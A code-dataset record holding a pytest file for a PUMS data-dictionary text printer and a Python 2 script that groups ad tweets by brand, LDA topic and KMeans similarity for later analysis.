[ "MIT" ]
null
null
null
tests/print_txt_test.py
measiala/PUMS_Data_Dictionary
6c36f018eeb93174a5e260416ad443ee17e0fc58
[ "MIT" ]
null
null
null
#!/usr/bin/python3 import sys #from string import maketrans import py.test import textwrap from print_txt import * def test_print_line(): assert print_line('foo.bar',ofile='print',platform='unix') == 'foo.bar' assert print_line('This is “foo” bar',ofile='print',platform='unix') == 'This is "foo" bar' assert print_line("I can’t take this",ofile='print',platform='unix') == "I can't take this" assert print_line("Stop—–Hammer time",ofile='print',platform='unix') == "Stop--Hammer time" assert print_line('foo.bar') == 'foo.bar' def test_print_title(): assert print_title('abc 123',ofile='print') == 'abc 123' def test_print_reldate(): assert print_reldate('abc 123',ofile='print') == 'abc 123\n' # def test_print_record_type(): # assert print_record_type('abc 123',ofile='print') == '\nabc 123' def test_print_var_name(): """ Check no-tab output """ assert print_var_name('PWGTP', 'N',5,ofile='print',tabsep='NO') == '\nPWGTP N 5' assert print_var_name('PWGTP80', 'N',5,ofile='print',tabsep='NO') == '\nPWGTP80 N 5' assert print_var_name('PWGTPWGTP', 'N',5,ofile='print',tabsep='NO') == '\nPWGTPWGTP N 5' assert print_var_name('PWGTPWGTP80','N',5,ofile='print',tabsep='NO') == '\nPWGTPWGTP80 N 5' assert print_var_name('PWGTPWGTP801','N',5,ofile='print',tabsep='NO') == None """ Check tab output """ assert print_var_name('PWGTP','N',5,ofile='print',tabsep='YES') == '\nPWGTP\tN\t5' assert print_var_name('PWGTP80','N',5,ofile='print',tabsep='YES') == '\nPWGTP80\tN\t5' assert print_var_name('PWGTPWGTP','N',5,ofile='print',tabsep='YES') == '\nPWGTPWGTP\tN\t5' assert print_var_name('PWGTPWGTP80','N',5,ofile='print',tabsep='YES') == '\nPWGTPWGTP80\tN\t5' assert print_var_name('PWGTPWGTP801','N',5,ofile='print',tabsep='YES') == None """ Check default is no tabs """ assert print_var_name('PWGTP','N',5) == '\nPWGTP N 5' def test_print_var_desc(): """ Verify indentation """ assert print_var_desc('Person Weight',ofile='print',wrap_text='NO',indent='NO',tabindent='NO') \ == 'Person Weight' assert print_var_desc('Person Weight',ofile='print',wrap_text='NO',indent='YES',tabindent='NO') \ == ' Person Weight' assert print_var_desc('Person Weight',ofile='print',wrap_text='NO',indent='YES',tabindent='YES') \ == '\tPerson Weight' assert print_var_desc('Person Weight',ofile='print',wrap_text='NO',indent='NO',tabindent='YES') \ == 'Person Weight' """ Verify alternative output for wrap option, it is a list of lines """ assert print_var_desc('Person Weight',ofile='print',wrap_text='YES',indent='NO',tabindent='NO') \ == [ 'Person Weight' ] """ This line is 72 characters long and should not be wrapped """ assert print_var_desc('Person Weight Person Weight Person Weight Person Weight Person Weight 12',\ ofile='print',wrap_text='NO',indent='NO',tabindent='NO') \ == 'Person Weight Person Weight Person Weight Person Weight Person Weight 12' assert print_var_desc('Person Weight Person Weight Person Weight Person Weight Person Weight 12',\ ofile='print',wrap_text='YES',indent='NO',tabindent='NO') \ == [ 'Person Weight Person Weight Person Weight Person Weight Person Weight 12' ] """ This line is 73 characters long and should wrap with option turned on """ assert print_var_desc('Person Weight Person Weight Person Weight Person Weight Person Weight 123',\ ofile='print',wrap_text='NO',indent='NO',tabindent='NO') \ == 'Person Weight Person Weight Person Weight Person Weight Person Weight 123' assert print_var_desc('Person Weight Person Weight Person Weight Person Weight Person Weight 123',\ ofile='print',wrap_text='YES',indent='NO',tabindent='NO') \ == [ 'Person Weight Person Weight Person Weight Person Weight Person Weight','123' ] """ Check indentation combined with wrap text """ assert print_var_desc('Person Weight Person Weight Person Weight Person Weight Person Weight 123',\ ofile='print',wrap_text='YES',indent='YES',tabindent='NO') \ == [ ' Person Weight Person Weight Person Weight Person Weight Person Weight', ' 123' ] assert print_var_desc('Person Weight Person Weight Person Weight Person Weight Person Weight 123',\ ofile='print',wrap_text='YES',indent='YES',tabindent='YES') \ == [ '\tPerson Weight Person Weight Person Weight Person Weight Person Weight','\t123' ] assert print_var_desc('Person Weight',ofile='print',wrap_text='YES',indent='NO',tabindent='NO') \ == print_var_desc('Person Weight') def test_print_var_val(): """ Test defaults """ assert print_var_val('-9999..09999','Integerized Weights',5, ofile='print',wrap_text='NO',tabindent='NO',tabsep='NO') \ == print_var_val('-9999..09999','Integerized Weights',5) """ Test standard indent and formatting for different length variables """ assert print_var_val('-9999..09999','Integerized Weights',5) \ == ' -9999..09999 .Integerized Weights' assert print_var_val('0','Integerized Weights',5) \ == ' 0 .Integerized Weights' assert print_var_val('0..9','Integerized Weights',1) \ == ' 0..9 .Integerized Weights' assert print_var_val('0','Integerized Weights',1) \ == ' 0 .Integerized Weights' """ Test tab indent """ assert print_var_val('0..9','Integerized Weights',1,tabindent='YES') \ == '\t\t0..9 .Integerized Weights' assert print_var_val('0','Integerized Weights',1,tabindent='YES') \ == '\t\t0 .Integerized Weights' """ Test tab separator between var value and value desc """ assert print_var_val('0..9','Integerized Weights',1,tabsep='YES') \ == ' 0..9\t.Integerized Weights' assert print_var_val('0','Integerized Weights',1,tabsep='YES') \ == ' 0\t.Integerized Weights' assert print_var_val('0..9','Integerized Weights',1,tabindent='YES',tabsep='YES') \ == '\t\t0..9\t.Integerized Weights' assert print_var_val('0','Integerized Weights',1,tabindent='YES',tabsep='YES') \ == '\t\t0\t.Integerized Weights' """ Test wrap text """ assert \ print_var_val('0..1', 'Person Weight Person Weight Person Weight Person Weight Person Weight 123',1, wrap_text='NO') \ == ' 0..1 .Person Weight Person Weight Person Weight Person Weight Person Weight 123' assert \ print_var_val('0..1', 'Person Weight Person Weight Person Weight Person Weight Person Weight 123',1, wrap_text='YES') \ == [' 0..1 .Person Weight Person Weight Person Weight Person Weight', ' .Person Weight 123'] def test_print_note(): assert \ print_note('Note: Person Weight Person Weight Person Weight Person Weight Person Weight 123', ofile='print',wrap_text='NO') \ == '\nNote: Person Weight Person Weight Person Weight Person Weight Person Weight 123' assert \ print_note('Note: Person Weight Person Weight Person Weight Person Weight Person Weight 123', ofile='print',wrap_text='YES') \ == '\nNote: Person Weight Person Weight Person Weight Person Weight Person Weight\n123' assert \ print_note('Note: Person Weight Person Weight Person Weight Person Weight Person Weight 123')\ == '\nNote: Person Weight Person Weight Person Weight Person Weight Person Weight\n123'
53.57047
118
0.623779
1,019
7,982
4.764475
0.113837
0.296601
0.326262
0.430072
0.797116
0.763337
0.724408
0.718023
0.709784
0.656231
0
0.034432
0.232273
7,982
148
119
53.932432
0.757507
0.025056
0
0.285714
0
0
0.455046
0.003029
0
0
0
0
0.438095
1
0.066667
true
0
0.038095
0
0.104762
0.619048
0
0
0
null
1
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
1
0
0
0
0
1
0
11
9fa6506c11ff11919cf58ff05c82ee4fe6d1e841
26,101
py
Python
tweetGrouper.py
renhaocui/adPlatform
dbabc5c8f461afac9227cc9ee378fad89b5698ea
[ "MIT" ]
1
2020-11-24T17:40:42.000Z
2020-11-24T17:40:42.000Z
tweetGrouper.py
renhaocui/tweetInfluencer
dbabc5c8f461afac9227cc9ee378fad89b5698ea
[ "MIT" ]
null
null
null
tweetGrouper.py
renhaocui/tweetInfluencer
dbabc5c8f461afac9227cc9ee378fad89b5698ea
[ "MIT" ]
null
null
null
import subprocess import operator from sklearn.feature_extraction.text import * from sklearn import cluster import shutil __author__ = 'rencui' def analysisByDay(): posDayCount = {} negDayCount = {} posFile = open('dataset/experiment/ranked/total.pos', 'r') negFile = open('dataset/experiment/ranked/total.neg', 'r') for line in posFile: data = line.strip().split(' : ') day = data[1] if day not in posDayCount: posDayCount[day] = 1.0 else: posDayCount[day] += 1.0 posFile.close() for line in negFile: data = line.strip().split(' : ') day = data[1] if day not in negDayCount: negDayCount[day] = 1.0 else: negDayCount[day] += 1.0 negFile.close() print posDayCount print negDayCount def maxIndex(input, num): line = {} for index in range(len(input)): line[index] = float(input[index]) sorted_line = sorted(line.iteritems(), key=operator.itemgetter(1), reverse=True) output = [] for i in range(num): output.append(sorted_line[i][0]) return output def fileLineCount(fileList): outputList = [] for fileName in fileList: with open(fileName) as f: outputList.append(sum(1 for _ in f)) return outputList def brandGrouper(groupTitle, groupSize): print 'brand grouping...' groupMapper = {} idMapper = {} groupFile = open(groupTitle + '.list', 'r') for index, line in enumerate(groupFile): brands = line.strip().split() for brand in brands: groupMapper[brand] = index groupFile.close() posInputFile = open('dataset/experiment/ranked/total.pos', 'r') negInputFile = open('dataset/experiment/ranked/total.neg', 'r') posParseLengthFile = open('dataset/experiment/parser/parserLength.pos', 'r') negParseLengthFile = open('dataset/experiment/parser/parserLength.neg', 'r') posHeadCountFile = open('dataset/experiment/parser/parserHeadCount.pos', 'r') negHeadCountFile = open('dataset/experiment/parser/parserHeadCount.neg', 'r') posPOSCountFile = open('dataset/experiment/parser/parserPOSCount.pos', 'r') negPOSCountFile = open('dataset/experiment/parser/parserPOSCount.neg', 'r') posOutputFileList = [] negOutputFileList = [] posParseLengthFileList = [] negParseLengthFileList = [] posParseHeadFileList = [] negParseHeadFileList = [] posPOSCountFileList = [] negPOSCountFileList = [] countFileList = [] for index in range(groupSize): tempPosFile = open('dataset/experiment/groups/' + groupTitle + '/group_' + str(index) + '.pos', 'w') tempNegFile = open('dataset/experiment/groups/' + groupTitle + '/group_' + str(index) + '.neg', 'w') countFileList.append('dataset/experiment/groups/' + groupTitle + '/group_' + str(index) + '.pos') countFileList.append('dataset/experiment/groups/' + groupTitle + '/group_' + str(index) + '.neg') posOutputFileList.append(tempPosFile) negOutputFileList.append(tempNegFile) tempPosParseLengthFile = open('dataset/experiment/groups/' + groupTitle + '/parserLength_' + str(index) + '.pos', 'w') tempNegParseLengthFile = open('dataset/experiment/groups/' + groupTitle + '/parserLength_' + str(index) + '.neg', 'w') posParseLengthFileList.append(tempPosParseLengthFile) negParseLengthFileList.append(tempNegParseLengthFile) tempPosParseHeadFile = open('dataset/experiment/groups/' + groupTitle + '/parserHeadCount_' + str(index) + '.pos', 'w') tempNegParseHeadFile = open('dataset/experiment/groups/' + groupTitle + '/parserHeadCount_' + str(index) + '.neg', 'w') posParseHeadFileList.append(tempPosParseHeadFile) negParseHeadFileList.append(tempNegParseHeadFile) tempPosPOSCountFile = open('dataset/experiment/groups/' + groupTitle + '/parserPOSCount_' + str(index) + '.pos', 'w') tempNegPOSCountFile = open('dataset/experiment/groups/' + groupTitle + '/parserPOSCount_' + str(index) + '.neg', 'w') posPOSCountFileList.append(tempPosPOSCountFile) negPOSCountFileList.append(tempNegPOSCountFile) for line in posInputFile: items = line.strip().split(' :: ') if items[4] in groupMapper: posOutputFileList[groupMapper[items[4]]].write(line) idMapper[items[5]] = items[4] for line in negInputFile: items = line.strip().split(' :: ') if items[4] in groupMapper: negOutputFileList[groupMapper[items[4]]].write(line) idMapper[items[5]] = items[4] for line in posParseLengthFile: items = line.strip().split(' :: ') if idMapper[items[1]] in groupMapper: posParseLengthFileList[groupMapper[idMapper[items[1]]]].write(line) for line in negParseLengthFile: items = line.strip().split(' :: ') if idMapper[items[1]] in groupMapper: negParseLengthFileList[groupMapper[idMapper[items[1]]]].write(line) for line in posHeadCountFile: items = line.strip().split(' :: ') if idMapper[items[1]] in groupMapper: posParseHeadFileList[groupMapper[idMapper[items[1]]]].write(line) for line in negHeadCountFile: items = line.strip().split(' :: ') if idMapper[items[1]] in groupMapper: negParseHeadFileList[groupMapper[idMapper[items[1]]]].write(line) for line in posPOSCountFile: items = line.strip().split(' :: ') if idMapper[items[1]] in groupMapper: posPOSCountFileList[groupMapper[idMapper[items[1]]]].write(line) for line in negPOSCountFile: items = line.strip().split(' :: ') if idMapper[items[1]] in groupMapper: negPOSCountFileList[groupMapper[idMapper[items[1]]]].write(line) for index in range(groupSize): posOutputFileList[index].close() negOutputFileList[index].close() posParseLengthFileList[index].close() negParseLengthFileList[index].close() posParseHeadFileList[index].close() negParseHeadFileList[index].close() posPOSCountFileList[index].close() negPOSCountFileList[index].close() posInputFile.close() negInputFile.close() posParseLengthFile.close() negParseLengthFile.close() posHeadCountFile.close() negHeadCountFile.close() print 'Brand Group sizes: '+str(fileLineCount(countFileList)) def topicGrouper(groupSize): print 'topic grouping...' data = [] # punctuations = set(string.punctuation) posFile = open('dataset/experiment/ranked/total.pos', 'r') negFile = open('dataset/experiment/ranked/total.neg', 'r') csvFile = open('LDA/LDAinput.csv', 'w') listFile = open('LDA/LDAinput.list', 'w') for line in posFile: item = line.strip().split(' :: ') data.append([item[3], item[5]]) for line in negFile: item = line.strip().split(' :: ') data.append([item[3], item[5]]) posFile.close() negFile.close() for tweet in data: csvFile.write(tweet[0].replace('"', '\'') + '\n') listFile.write(tweet[1] + '\n') csvFile.close() listFile.close() print 'running LDA...' subprocess.check_output('java -Xmx1024m -jar LDA/tmt-0.4.0.jar LDA/assign.scala', shell=True) distFile = open('LDA/TMTSnapshots/document-topic-distributions.csv', 'r') topicOut = {} for line in distFile: seg = line.strip().split(',') if seg[1] != 'NaN': topicOutList = maxIndex(seg[1:], 3) topicOut[int(seg[0])] = topicOutList distFile.close() topicMapper = {} for index, value in topicOut.items(): topicMapper[data[index][1]] = value[0] posInputFile = open('dataset/experiment/ranked/total.pos', 'r') negInputFile = open('dataset/experiment/ranked/total.neg', 'r') posParseLengthFile = open('dataset/experiment/parser/parserLength.pos', 'r') negParseLengthFile = open('dataset/experiment/parser/parserLength.neg', 'r') posHeadCountFile = open('dataset/experiment/parser/parserHeadCount.pos', 'r') negHeadCountFile = open('dataset/experiment/parser/parserHeadCount.neg', 'r') posPOSCountFile = open('dataset/experiment/parser/parserPOSCount.pos', 'r') negPOSCountFile = open('dataset/experiment/parser/parserPOSCount.neg', 'r') posOutputFileList = [] negOutputFileList = [] posParseLengthFileList = [] negParseLengthFileList = [] posParseHeadFileList = [] negParseHeadFileList = [] posPOSCountFileList = [] negPOSCountFileList = [] countFileList = [] for index in range(groupSize): tempPosFile = open('dataset/experiment/groups/topicGroup/group_' + str(index) + '.pos', 'w') tempNegFile = open('dataset/experiment/groups/topicGroup/group_' + str(index) + '.neg', 'w') countFileList.append('dataset/experiment/groups/topicGroup/group_' + str(index) + '.pos') countFileList.append('dataset/experiment/groups/topicGroup/group_' + str(index) + '.neg') posOutputFileList.append(tempPosFile) negOutputFileList.append(tempNegFile) tempPosParseLengthFile = open('dataset/experiment/groups/topicGroup/parserLength_' + str(index) + '.pos', 'w') tempNegParseLengthFile = open('dataset/experiment/groups/topicGroup/parserLength_' + str(index) + '.neg', 'w') posParseLengthFileList.append(tempPosParseLengthFile) negParseLengthFileList.append(tempNegParseLengthFile) tempPosParseHeadFile = open('dataset/experiment/groups/topicGroup/parserHeadCount_' + str(index) + '.pos', 'w') tempNegParseHeadFile = open('dataset/experiment/groups/topicGroup/parserHeadCount_' + str(index) + '.neg', 'w') posParseHeadFileList.append(tempPosParseHeadFile) negParseHeadFileList.append(tempNegParseHeadFile) tempPosPOSCountFile = open('dataset/experiment/groups/topicGroup/parserPOSCount_' + str(index) + '.pos', 'w') tempNegPOSCountFile = open('dataset/experiment/groups/topicGroup/parserPOSCount_' + str(index) + '.neg', 'w') posPOSCountFileList.append(tempPosPOSCountFile) negPOSCountFileList.append(tempNegPOSCountFile) for line in posInputFile: items = line.strip().split(' :: ') if items[5] in topicMapper: posOutputFileList[topicMapper[items[5]]].write(line) for line in negInputFile: items = line.strip().split(' :: ') if items[5] in topicMapper: negOutputFileList[topicMapper[items[5]]].write(line) for line in posParseLengthFile: items = line.strip().split(' :: ') if items[1] in topicMapper: posParseLengthFileList[topicMapper[items[1]]].write(line) for line in negParseLengthFile: items = line.strip().split(' :: ') if items[1] in topicMapper: negParseLengthFileList[topicMapper[items[1]]].write(line) for line in posHeadCountFile: items = line.strip().split(' :: ') if items[1] in topicMapper: posParseHeadFileList[topicMapper[items[1]]].write(line) for line in negHeadCountFile: items = line.strip().split(' :: ') if items[1] in topicMapper: negParseHeadFileList[topicMapper[items[1]]].write(line) for line in posPOSCountFile: items = line.strip().split(' :: ') if items[1] in topicMapper: posPOSCountFileList[topicMapper[items[1]]].write(line) for line in negPOSCountFile: items = line.strip().split(' :: ') if items[1] in topicMapper: negPOSCountFileList[topicMapper[items[1]]].write(line) for index in range(groupSize): posOutputFileList[index].close() negOutputFileList[index].close() posParseLengthFileList[index].close() negParseLengthFileList[index].close() posParseHeadFileList[index].close() negParseHeadFileList[index].close() posPOSCountFileList[index].close() negPOSCountFileList[index].close() posInputFile.close() negInputFile.close() posParseLengthFile.close() negParseLengthFile.close() posHeadCountFile.close() negHeadCountFile.close() posPOSCountFile.close() negPOSCountFile.close() print 'Topic Group size: '+str(fileLineCount(countFileList)) def similarityGrouper(groupSize): print 'similarity grouping...' tweets = [] ids = [] idMapper = {} posInputFile = open('dataset/experiment/ranked/total.pos', 'r') negInputFile = open('dataset/experiment/ranked/total.neg', 'r') for line in posInputFile: items = line.strip().split(' :: ') tweets.append(items[3]) ids.append(items[5]) for line in negInputFile: items = line.strip().split(' :: ') tweets.append(items[3]) ids.append(items[5]) posInputFile.close() negInputFile.close() #vectorizer = TfidfVectorizer(analyzer='word', ngram_range=(1, 1), min_df=0, stop_words='english') vectorizer = CountVectorizer(analyzer='word', ngram_range=(1, 1), min_df=1, stop_words='english', binary='True') matrix = vectorizer.fit_transform(tweets) print len(vectorizer.get_feature_names()) print 'Running Kmeans...' kmeans = cluster.KMeans(n_clusters=groupSize, init='k-means++') kmeans.fit(matrix) for index, label in enumerate(kmeans.labels_): idMapper[ids[index]] = label posInputFile = open('dataset/experiment/ranked/total.pos', 'r') negInputFile = open('dataset/experiment/ranked/total.neg', 'r') posParseLengthFile = open('dataset/experiment/parser/parserLength.pos', 'r') negParseLengthFile = open('dataset/experiment/parser/parserLength.neg', 'r') posHeadCountFile = open('dataset/experiment/parser/parserHeadCount.pos', 'r') negHeadCountFile = open('dataset/experiment/parser/parserHeadCount.neg', 'r') posPOSCountFile = open('dataset/experiment/parser/parserPOSCount.pos', 'r') negPOSCountFile = open('dataset/experiment/parser/parserPOSCount.neg', 'r') posOutputFileList = [] negOutputFileList = [] posParseLengthFileList = [] negParseLengthFileList = [] posParseHeadFileList = [] negParseHeadFileList = [] posPOSCountFileList = [] negPOSCountFileList = [] # tweetID: [group, brand, performanceScore, day, time, text, parserLength, headCount] posDetailData = {} negDetailData = {} countFileList = [] for index in range(groupSize): tempPosFile = open('dataset/experiment/groups/simGroup/group_' + str(index) + '.pos', 'w') tempNegFile = open('dataset/experiment/groups/simGroup/group_' + str(index) + '.neg', 'w') countFileList.append('dataset/experiment/groups/simGroup/group_' + str(index) + '.pos') countFileList.append('dataset/experiment/groups/simGroup/group_' + str(index) + '.neg') posOutputFileList.append(tempPosFile) negOutputFileList.append(tempNegFile) tempPosParseLengthFile = open('dataset/experiment/groups/simGroup/parserLength_' + str(index) + '.pos', 'w') tempNegParseLengthFile = open('dataset/experiment/groups/simGroup/parserLength_' + str(index) + '.neg', 'w') posParseLengthFileList.append(tempPosParseLengthFile) negParseLengthFileList.append(tempNegParseLengthFile) tempPosParseHeadFile = open('dataset/experiment/groups/simGroup/parserHeadCount_' + str(index) + '.pos', 'w') tempNegParseHeadFile = open('dataset/experiment/groups/simGroup/parserHeadCount_' + str(index) + '.neg', 'w') posParseHeadFileList.append(tempPosParseHeadFile) negParseHeadFileList.append(tempNegParseHeadFile) tempPosPOSCountFile = open('dataset/experiment/groups/simGroup/parserPOSCount_' + str(index) + '.pos', 'w') tempNegPOSCountFile = open('dataset/experiment/groups/simGroup/parserPOSCount_' + str(index) + '.neg', 'w') posPOSCountFileList.append(tempPosPOSCountFile) negPOSCountFileList.append(tempNegPOSCountFile) for line in posInputFile: items = line.strip().split(' :: ') if items[5] in idMapper: posOutputFileList[idMapper[items[5]]].write(line) posDetailData[items[5]] = [idMapper[items[5]], items[4], items[0], items[1], items[2], items[3]] for line in negInputFile: items = line.strip().split(' :: ') if items[5] in idMapper: negOutputFileList[idMapper[items[5]]].write(line) negDetailData[items[5]] = [idMapper[items[5]], items[4], items[0], items[1], items[2], items[3]] for line in posParseLengthFile: items = line.strip().split(' :: ') if items[1] in idMapper: posParseLengthFileList[idMapper[items[1]]].write(line) posDetailData[items[1]].append(items[0]) for line in negParseLengthFile: items = line.strip().split(' :: ') if items[1] in idMapper: negParseLengthFileList[idMapper[items[1]]].write(line) negDetailData[items[1]].append(items[0]) for line in posHeadCountFile: items = line.strip().split(' :: ') if items[1] in idMapper: posParseHeadFileList[idMapper[items[1]]].write(line) posDetailData[items[1]].append(items[0]) for line in negHeadCountFile: items = line.strip().split(' :: ') if items[1] in idMapper: negParseHeadFileList[idMapper[items[1]]].write(line) negDetailData[items[1]].append(items[0]) for line in posPOSCountFile: items = line.strip().split(' :: ') if items[1] in idMapper: posPOSCountFileList[idMapper[items[1]]].write(line) for line in negPOSCountFile: items = line.strip().split(' :: ') if items[1] in idMapper: negPOSCountFileList[idMapper[items[1]]].write(line) for index in range(groupSize): posOutputFileList[index].close() negOutputFileList[index].close() posParseLengthFileList[index].close() negParseLengthFileList[index].close() posParseHeadFileList[index].close() negParseHeadFileList[index].close() posPOSCountFileList[index].close() negPOSCountFileList[index].close() posInputFile.close() negInputFile.close() posParseLengthFile.close() negParseLengthFile.close() posHeadCountFile.close() negHeadCountFile.close() posPOSCountFile.close() negPOSCountFile.close() print 'Similarity Group sizes: '+str(fileLineCount(countFileList)) ''' posDetailFile = open('adData/analysis/groups/simGroup/details.pos', 'w') negDetailFile = open('adData/analysis/groups/simGroup/details.neg', 'w') for id, value in posDetailData.items(): posDetailFile.write(id+'\t'+str(value[0])+'\t'+value[1]+'\t'+value[2]+'\t'+value[3]+'\t'+value[4]+'\t'+value[6]+'\t'+value[7]+'\n') for id, value in negDetailData.items(): negDetailFile.write(id+'\t'+str(value[0])+'\t'+value[1]+'\t'+value[2]+'\t'+value[3]+'\t'+value[4]+'\t'+value[6]+'\t'+value[7]+'\n') posDetailFile.close() negDetailFile.close() ''' def totalGrouper(): shutil.copy2('dataset/experiment/ranked/total.pos', 'dataset/experiment/groups/totalGroup/group_0.pos') shutil.copy2('dataset/experiment/ranked/total.neg', 'dataset/experiment/groups/totalGroup/group_0.neg') shutil.copy2('dataset/experiment/parser/parserHeadCount.pos', 'dataset/experiment/groups/totalGroup/parserHeadCount_0.pos') shutil.copy2('dataset/experiment/parser/parserHeadCount.neg', 'dataset/experiment/groups/totalGroup/parserHeadCount_0.neg') shutil.copy2('dataset/experiment/parser/parserLength.pos', 'dataset/experiment/groups/totalGroup/parserLength_0.pos') shutil.copy2('dataset/experiment/parser/parserLength.neg', 'dataset/experiment/groups/totalGroup/parserLength_0.neg') shutil.copy2('dataset/experiment/parser/parserPOSCount.pos', 'dataset/experiment/groups/totalGroup/parserPOSCount_0.pos') shutil.copy2('dataset/experiment/parser/parserPOSCount.neg', 'dataset/experiment/groups/totalGroup/parserPOSCount_0.neg') print 'Total Group size: '+str(fileLineCount(['dataset/experiment/groups/totalGroup/group_0.pos', 'dataset/experiment/groups/totalGroup/group_0.neg'])) def similarityGrouper2(groupSize): tweets = [] ids = [] idMapper = {} posInputFile = open('dataset/experiment/groups/simGroup2/group2.pos', 'r') negInputFile = open('dataset/experiment/groups/simGroup2/group2.neg', 'r') for line in posInputFile: items = line.strip().split(' :: ') tweets.append(items[3]) ids.append(items[5]) for line in negInputFile: items = line.strip().split(' :: ') tweets.append(items[3]) ids.append(items[5]) posInputFile.close() negInputFile.close() vectorizer = TfidfVectorizer(analyzer='word', ngram_range=(1, 1), min_df=0, stop_words='english') #vectorizer = CountVectorizer(analyzer='word', ngram_range=(1, 1), min_df=0, stop_words='english', binary='True') matrix = vectorizer.fit_transform(tweets) print len(vectorizer.get_feature_names()) print 'Running Kmeans...' kmeans = cluster.KMeans(n_clusters=groupSize, init='k-means++') kmeans.fit(matrix) for index, label in enumerate(kmeans.labels_): idMapper[ids[index]] = label posInputFile = open('dataset/experiment/groups/simGroup2/group2.pos', 'r') negInputFile = open('dataset/experiment/groups/simGroup2/group2.neg', 'r') posParseLengthFile = open('dataset/experiment/groups/simGroup2/parserLength2.pos', 'r') negParseLengthFile = open('dataset/experiment/groups/simGroup2/parserLength2.neg', 'r') posHeadCountFile = open('dataset/experiment/groups/simGroup2/parserHeadCount2.pos', 'r') negHeadCountFile = open('dataset/experiment/groups/simGroup2/parserHeadCount2.neg', 'r') posOutputFileList = [] negOutputFileList = [] posParseLengthFileList = [] negParseLengthFileList = [] posParseHeadFileList = [] negParseHeadFileList = [] # tweetID: [group, brand, performanceScore, day, time, text, parserLength, headCount] posDetailData = {} negDetailData = {} for index in range(groupSize): tempPosFile = open('dataset/experiment/groups/simGroup_3/group' + str(index) + '.pos', 'w') tempNegFile = open('dataset/experiment/groups/simGroup_3/group' + str(index) + '.neg', 'w') posOutputFileList.append(tempPosFile) negOutputFileList.append(tempNegFile) tempPosParseLengthFile = open('adData/analysis/groups/simGroup3/parserLength' + str(index) + '.pos', 'w') tempNegParseLengthFile = open('adData/analysis/groups/simGroup3/parserLength' + str(index) + '.neg', 'w') posParseLengthFileList.append(tempPosParseLengthFile) negParseLengthFileList.append(tempNegParseLengthFile) tempPosParseHeadFile = open('adData/analysis/groups/simGroup3/parserHeadCount' + str(index) + '.pos', 'w') tempNegParseHeadFile = open('adData/analysis/groups/simGroup3/parserHeadCount' + str(index) + '.neg', 'w') posParseHeadFileList.append(tempPosParseHeadFile) negParseHeadFileList.append(tempNegParseHeadFile) for line in posInputFile: items = line.strip().split(' :: ') if items[5] in idMapper: posOutputFileList[idMapper[items[5]]].write(line) posDetailData[items[5]] = [idMapper[items[5]], items[4], items[0], items[1], items[2], items[3]] for line in negInputFile: items = line.strip().split(' :: ') if items[5] in idMapper: negOutputFileList[idMapper[items[5]]].write(line) negDetailData[items[5]] = [idMapper[items[5]], items[4], items[0], items[1], items[2], items[3]] for line in posParseLengthFile: items = line.strip().split(' :: ') if items[1] in idMapper: posParseLengthFileList[idMapper[items[1]]].write(line) posDetailData[items[1]].append(items[0]) for line in negParseLengthFile: items = line.strip().split(' :: ') if items[1] in idMapper: negParseLengthFileList[idMapper[items[1]]].write(line) negDetailData[items[1]].append(items[0]) for line in posHeadCountFile: items = line.strip().split(' :: ') if items[1] in idMapper: posParseHeadFileList[idMapper[items[1]]].write(line) posDetailData[items[1]].append(items[0]) for line in negHeadCountFile: items = line.strip().split(' :: ') if items[1] in idMapper: negParseHeadFileList[idMapper[items[1]]].write(line) negDetailData[items[1]].append(items[0]) for index in range(groupSize): posOutputFileList[index].close() negOutputFileList[index].close() posParseLengthFileList[index].close() negParseLengthFileList[index].close() posParseHeadFileList[index].close() negParseHeadFileList[index].close() posInputFile.close() negInputFile.close() posParseLengthFile.close() negParseLengthFile.close() posHeadCountFile.close() negHeadCountFile.close() posDetailFile = open('dataset/experiment/groups/simGroup3/details.pos', 'w') negDetailFile = open('dataset/experiment/groups/simGroup3/details.neg', 'w') for id, value in posDetailData.items(): posDetailFile.write(id+'\t'+str(value[0])+'\t'+value[1]+'\t'+value[2]+'\t'+value[3]+'\t'+value[4]+'\t'+value[6]+'\t'+value[7]+'\n') for id, value in negDetailData.items(): negDetailFile.write(id+'\t'+str(value[0])+'\t'+value[1]+'\t'+value[2]+'\t'+value[3]+'\t'+value[4]+'\t'+value[6]+'\t'+value[7]+'\n') posDetailFile.close() negDetailFile.close() if __name__ == '__main__': totalGrouper() #brandGrouper('subBrandGroup', 3) #brandGrouper('brandGroup', 3) #topicGrouper(5) #similarityGrouper(5)
44.238983
155
0.66009
2,618
26,101
6.550038
0.080214
0.089223
0.080826
0.056683
0.878178
0.869081
0.81753
0.788955
0.748251
0.720142
0
0.01118
0.194705
26,101
590
156
44.238983
0.804653
0.019578
0
0.697581
0
0.008065
0.198272
0.163586
0
0
0
0
0
0
null
null
0
0.010081
null
null
0.028226
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
9fb9767ce528cdf4cd89bcc2338fb0580852e132
8,488
py
Python
DP/Evaluations/test.py
thomson-greg/XBOS-DR
9c55b9022f41bf497a1cebb25a154e5d0ab2b547
[ "Apache-2.0" ]
null
null
null
DP/Evaluations/test.py
thomson-greg/XBOS-DR
9c55b9022f41bf497a1cebb25a154e5d0ab2b547
[ "Apache-2.0" ]
25
2018-05-11T19:15:16.000Z
2018-08-09T03:11:28.000Z
DP/Evaluations/test.py
thomson-greg/XBOS-DR
9c55b9022f41bf497a1cebb25a154e5d0ab2b547
[ "Apache-2.0" ]
3
2017-10-23T18:47:15.000Z
2018-08-20T16:41:18.000Z
